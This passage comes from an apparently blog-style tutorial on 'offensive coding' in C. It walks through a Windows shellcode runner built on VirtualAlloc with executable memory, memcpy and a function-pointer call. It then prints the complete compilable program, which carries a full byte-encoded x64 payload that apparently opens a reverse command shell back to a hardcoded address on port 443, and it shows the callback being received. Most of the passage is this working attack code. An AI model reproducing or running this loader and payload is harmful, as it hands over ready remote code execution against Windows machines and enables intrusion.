main()<br>{<br> return 0;<br>}</pre><p>In order to execute the shellcode, we must need to:</p><ol><li>Allocate memory for the shellcode.</li><li>Copy shellcode buffer to that memory.</li><li>Execute it.</li></ol><p>The allocation step is performed with a WIN32 API called VirtualAlloc (<a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc</a>)</p><pre>void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);</pre><p>By defining a pointer, we can later know at what memory address the allocation was performed. The parameters are simple. First one is being lpAddress, by setting it to 0, the OS will automatically find the start address for the function execution. The second is the size of the shellcode. Third argument is the allocation type flag, and the fourth is memory flag.</p><p>The next step is to copy the shellcode into the allocated memory. This is being done with memcpy function (thats why we need the pointer):</p><pre>memcpy(exec, buf, sizeof buf);</pre><p>And the third step is to actually execute the shellcode. The C syntax for that is strange and confusing so better note it somewhere:</p><pre>((void(*)())exec)();</pre><p>So, the full code is:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;</pre><pre>unsigned char buf[] = <br>&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52&quot;<br>&quot;\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48&quot;<br>&quot;\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9&quot;<br>&quot;\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41&quot;<br>&quot;\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48&quot;<br>&quot;\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01&quot;<br>&quot;\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48&quot;<br>&quot;\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0&quot;<br>&quot;\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c&quot;<br>&quot;\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0&quot;<br>&quot;\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04&quot;<br>&quot;\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59&quot;<br>&quot;\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48&quot;<br>&quot;\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33&quot;<br>&quot;\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00&quot;<br>&quot;\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54&quot;<br>&quot;\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c&quot;<br>&quot;\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff&quot;<br>&quot;\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2&quot;<br>&quot;\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48&quot;<br>&quot;\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99&quot;<br>&quot;\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63&quot;<br>&quot;\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57&quot;<br>&quot;\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44&quot;<br>&quot;\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6&quot;<br>&quot;\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff&quot;<br>&quot;\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5&quot;<br>&quot;\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff&quot;<br>&quot;\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48&quot;<br>&quot;\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13&quot;<br>&quot;\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5&quot;;</pre><pre>int main()<br>{<br> void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br> memcpy(exec, buf, sizeof buf);<br> ((void(*)())exec)();<br> return 0;<br>}</pre><p>After compiling and running it, we observe that the console window idles, but the callback is present:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OyagW_mS9cmQwDsiMbCaPg.png" /><figcaption>Compiling and running the code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cyL6s8AdfVg-y9zKpxudzw.png" /><figcaption>Receiving callback</figcaption></figure><h3>Conclusion</h3><p>When it comes to offensive coding, I can state that the C/C++ are doing GREAT!!! Of course, we must not limit to them, but the idea is to build up more knowledge so we can pick a tool, suitable for our needs on runtime.</p><p>It was fun building such shellcode runner and we will definitely upgrade in future blogs / videos.</p><p>Stay tuned and thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=439bff63721d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>